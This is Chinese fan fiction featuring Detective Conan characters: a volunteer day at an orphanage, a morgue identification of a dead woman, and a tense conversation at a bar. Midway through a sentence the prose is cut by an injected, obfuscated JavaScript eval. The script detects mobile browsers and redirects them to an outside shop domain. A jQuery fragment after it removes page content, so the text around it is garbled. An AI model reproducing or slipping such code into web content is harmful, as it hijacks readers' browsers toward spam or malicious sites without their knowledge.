夏天离林子近的地方总是不可避免被蝉鸣骚扰，就算是隔着水泥墙的仓库也一样。
松田阵平蹲在地上整理纸箱，尘灰四散，硬是被陈年杂物呛出一个喷嚏来，和他一起被分来找账本的人倒是有先见之明、提前戴上口罩，缺点是热上加闷，同样不好受。
“喂、风早。”
蝉鸣间隙的寂静里，松田忽然发问，“你为什么会来这里做义工？”
风早瞬不像是有这种多余善心的人。
对方瞥了他一眼、答非所问：“你知道浅生千夏为什么要来佐佐木学园做义工吗？”
“问题不能回答问题，别扯开话题、你——”
“因为她在这个福利院待过。”
风早平静地翻开名单，指给他看：的确是浅生千夏的名字，古早的蓝色圆珠笔的痕迹，落在如今泛黄的纸上。松田下意识瞄了眼日期，是八年前的事。
“所以？”你要说什么?
“而我也一样。”那根手指冷静地下滑，落在另一个名字上，“八年前，我们都在这家福利院待过。”
松田一时间没有出声。
巧合带来糟糕却无法确定的预感，他第一次对过去生起求知欲，八年前究竟发生了什么：“……但是浅生看起来和你没那么熟，萩也说、你们只是弓道部的前后辈。”
“因为我只在这里住了十几天不到，很快就搬出去了，她应该不记得我，当然，我也不记得她的名字、长相，只是有这么个人存在的印象。”风早小心翻动发脆的纸张，找到想要的名字。合上名录时，他才注意到页角有个揉皱的指印，但不是他弄出来的，而且、他把自己的拇指放上去对比：
那个指印比他小。
痕迹暂时分不出新旧，风早轻轻挑眉，会有谁来过吗？
“萩原研二去哪了？”
“你想干嘛？”松田警惕地抬头。
“萩原！”浅生千夏的声音从门口遥遥扩散，但等她走近，只看见两个没偷懒的人，“奇怪，生活老师那边说没看见他，我还以为他肯定在你们这呢，义工时间马上要结束了。”
“有谁知道他去哪了吗？”
蝉鸣阵阵。
“……该死，”松田在沉默无言中打了个冷战，转身就跑，“我去找他！”
十分钟后，他们在停车场集合。
“呜哇哇小阵平，对不起、对不起嘛！”萩原研二赶在大步流星的幼驯染后面道歉，“空调房太舒服了，我不小心睡着了，就睡了一、呃、二三四个小时……？”
“别贴这么紧，热死了！”松田怒斥，冷着脸把人甩开。
……太丢脸了，觉得萩会出事的自己真是蠢爆了！他找了半天越找越焦虑，结果这家伙竟然在图书室抱着靠枕睡得一脸安详，吓得他推门进去，还以为事情已经无可挽回。
看来现在说什么都没用啊。但小阵平最后都会原谅我的、吧？萩原摸了摸鼻子，转向边上看笑话的浅生千夏：“千夏学姐打算怎么回去呢，要不要坐我们的车？说起来我好像还有张四人份的团购烤肉券——喂、小阵平！太狡猾了！”
趁他说话分心，松田一把从他兜里摸走钥匙抢占驾驶座。
“这就是你睡太多反应不过来的下场。”既得利益者朝他得意一笑，随手拧开电台，成功掌握主导权。
“……三起爆炸案皆由同一犯罪嫌疑人所为，神奈川县警察本部已宣布将其定性为连环杀人犯，其特征如下……”
浅生千夏笑着一甩高马尾：“好啊，那就麻烦你和松田君了，我可不想走下山再坐公交回市区，上来一趟已经够受罪了，而且、还有四人份的烤肉呢。”
打闹声里，新闻成为生活无人在意的背景音。
“风早要来吗？”
被呼唤的人站在摩托边单手抱着头盔，盯着手机，没有反应。
“……不。”
他抬起头来面无表情，除了一瞬间泄露的悲哀，“我有别的事。”不再理会他人的目光，他粗暴地套上头盔，上车的同时将油门直接拧到底，瞬间消失在视野中。
“他又遇上什么了？”松田搭在车窗上探头皱眉。
无人能回答。
“风早刚才，好像是在看短信……”站得最近的浅生千夏回忆，“谁给他发了什么吗？”
监察医务院走廊的灯光总是惨白的。
地下空无一人，安静得只剩风早瞬匆忙的脚步声，他始终垂着眼，却依然被反光的地面晃得有点晕眩，时间悄然流逝，法医实验室的名牌不知何时出现在眼前。他摸了下门把手，没锁，于是直接推进去，里面值班的工作人员被吓得从座位上跳起来：“谁！”
在得到回答前，椅子震耳欲聋地砸在地上。
“我……”风早深吸一口气。他知道按社交礼仪来说，这时候该礼貌一点、服软，更容易得到对方的优待和谅解。但他实在演不出来了。
“我是来认领尸体的。”他只能这么生硬地说。
“名字？”
“风早瞬。”
是森村管理官提前通知过的人。工作人员表情放松下来，打了个哈欠、指了指登记簿：“先签这个。”
没什么废话，风早抓起签字笔，潦草地签完了留档证明，工作人员检查完、点点头，拿钥匙打开了边上的另一扇门：后面就是停尸间。风早跟着走进去，不算大的房间里异常寒冷，比起空调、效果更近似于冰库，密密麻麻的柜子堆砌在一起，工作人员只能对着清单找到编号，一扇柜门里有三层，他把最上面那层连着滑架一起费力拉出来：“来吧。”
裹尸袋面部的拉链被拉开了。
风早瞬下意识屏住了呼吸。顺着敞开的拉链，立刻外溢的是金黄而微卷的长发，然后是青白的皮肤，泛着蜡像般诡异的光泽，尸体轻微腐烂的味道隐隐传来，并没有所谓的、躺着像睡去了般的安详，死人就是死人，生命的存在与否一眼就能看出，她生前的美在死亡玷污下只能得到丑陋和恐惧的评价。
她死了。
……所有纷乱的猜测和恐惧都散去了，他竟然有些心安：至少死时她还有一张完好无损的脸，表情沉着而悲伤。
所以，你看见了什么？他想，在死前那一刻，你想到的是什么？
“能确认吗。”
“是，她就是绫野爱海。”
风早听见自己略显空白的声音，很奇怪，竟然出奇的冷静，“她的死因是什么？”
“左胸心肌开放性创口、噢，就是枪伤。”工作人员重新拉上拉链，习惯带来麻木的寻常，“你能保持冷静真是太好了，毕竟和其他人比起来，她还算幸运的，因为死亡时间比较近，法医们第一批就给她做了医学解剖。哎，前几天不是在横滨码头发现了仓库堆尸么，那都是准备沉海的，搞得现在还有人在浅海的海床上作业呢，不知道要捞上来多少陈年骨头。”
风早什么也没说。
他甚至并不生气。他理解，他看得见工作人员机械劳动的疲惫，能想象出法医们连轴转时对某次工作减轻的庆幸，漆黑海面上的探照灯和呼喊的人……他走出那扇门，穿过走廊，骑上机车离开监察医务院，热风和一整个黄昏下的横滨向他扑面而来，闪闪发光，放学的孩子在逐渐亮起的窗户下穿行，光明正从地球的这一面离去，于是他继续走，逆着人流，逆着大笑、大哭、生日聚会的欢呼、情侣嘶声力竭的争吵……
够了。
风早瞬猛地在街边停住，撑住额头俯下身去，后槽牙无意识咬紧。
……他受够了。
第三次。他已经没有人可以说，他没有家了。为什么，家究竟是什么？只有自己一个人的人为什么无法得到家？明明他已经不想要爱了，可为什么连信任也保不住？
是啊，什么都做不了，哭泣、叫喊、哀嚎，在满大街喧闹的繁华中，他什么都做不了，只会在头痛欲裂中无法思考，唯一能明确的是，他不想回到那个黑暗而寂静的、本该被称为家的地方去——
风早瞬用力眨眼，才发现在模糊的灯光下，一个颇为眼熟的招牌正挂在墙边，不起眼，漆黑的入口通往地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17915828|213032||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下。那是他曾经打工过的酒吧。
“……”
他静静地看了一会，拔下钥匙。
没什么变化。
楼梯间是红砖砌的，没有抹水泥，粗糙得一目了然，铁皮楼梯吵起来能预告任何人的到来，风早拉开金属制的厚门，正对面依然是乐池和舞池，红蓝交错的霓虹灯光线暧昧，男男女女的调笑时不时穿透音乐，如同弓弦失误时遗漏的杂音。
“您要喝些什么？”
穿过来来往往的人，他在吧台坐下，酒保立即从无所事事中振奋。
“苏格兰威士忌，水割。”
“好嘞。”酒保活动了下双手，他双臂都挽着袖子，“希望下一杯不要是拉莫斯金菲士。”
这个自嘲性的笑话被对方彻底无视了，客户摘下头盔，在彩色的光影中，英俊的脸上漠然一片，即使如此、也有不少人投来打量的视线。
他知道有人在看，但视若无睹。
“你看起来不像是酒保，”风早只是打量这位没见过的调酒师，金红色的金鱼在深蓝中繁复层叠而上，整件衬衫用金箔刺绣，明艳华贵，“京友禅的衬衫？还真是第一次见。”
京都派的友禅染，是制作和服的传统技艺，被拿来改成衬衫绝对是特立独行的定制品。
“不像么？”调酒师有片刻的错愕，随后笑了，“好吧，其实我是店主的朋友，这家店的员工有事来不了，就让我来替一天班——”
“请。”他用指尖将柯林杯轻轻推至风早眼下，“客人想称呼我的话，可以叫我鲤口。虽然不是专业的调酒师，但我是个喜欢听故事、尤其是陌生人故事的人，也算适合这个职业，如果您有任何想说的话。”
“请放心地告诉我吧。”
连招丝滑，这人从语气、动作到表情都极富有诱惑力，简直让人怀疑他的本职工作——然而风早瞬也不在乎，他只是干脆地握住玻璃杯，本就僵硬的指尖立刻被低温刺痛，逼迫人松手。
但他依旧拿起来，灌下去。
——喝的时候，他才想起来自己还没有吃晚饭，可能算低血糖。
算了，又没有人会来管他。
“怎么样？”鲤口是个静不下来的人，没有回应也能自说自话，“好吧，客人不知道说什么的时候，那就轮到我了。不知道您对推理小说感兴趣吗？我的本业呢、其实是个推理小说家，最近的新作刚好是。”
他从边上的书架抽出一本书，随手翻开念到：
“于是他看到真相：那条金鱼是存在的，存在于人们的头脑中。理子的脸、理子的眼球、理子的微笑，都像水晶一般透明起来，那金红色的尾鳍缓缓摆动，在她头脑的缸中。为何如此美丽？他再也分不清了，现在她、它、她还要说——”
“您也喜欢鱼缸吗？”
鲤口笑起来，“真巧，这本书的名字就是《鱼缸》。比起推理小说，它更像是本伪装成推理小说的恐怖小说吧——所有人都看不见、也不能看见，否则就会被彻底同化的金鱼，很像犯罪本身，不是吗？”
昏暗的角落里，红与蓝的光晕四处涂抹，书封面的烫金色彩斑斓，鲤口茶色的眼睛和风早的浓绿一样。
混沌不清。
“所以你认为，金鱼就藏在我们身边随处一人的脑袋里，时刻从一个鱼缸游向下一个，谁也无法阻止。很悲观的态度，让侦探和警察都变得很可笑，像是毫无自知之明的西西弗斯。”
他终于接话，眼神直白而敏锐，看不出酒精的影响。
“这个嘛，”小说家打了个响指，“就留给读者们去讨论好了，作者把话说得太死、反而会伤害读者的阅读兴趣……”
铁皮楼梯又传来地动山摇的动静，鲤口下意识看向门口，风早低下头喝酒，却发现那张俊秀斯文的脸上、露出一个略显亢奋的笑来。
新客人是谁？他条件反射回过头去，发现门口的确站着一个人、一个阴郁紧绷的男人，有着一张他不会错认的脸。
……横山裕行？
风早瞬的瞳孔骤然放大。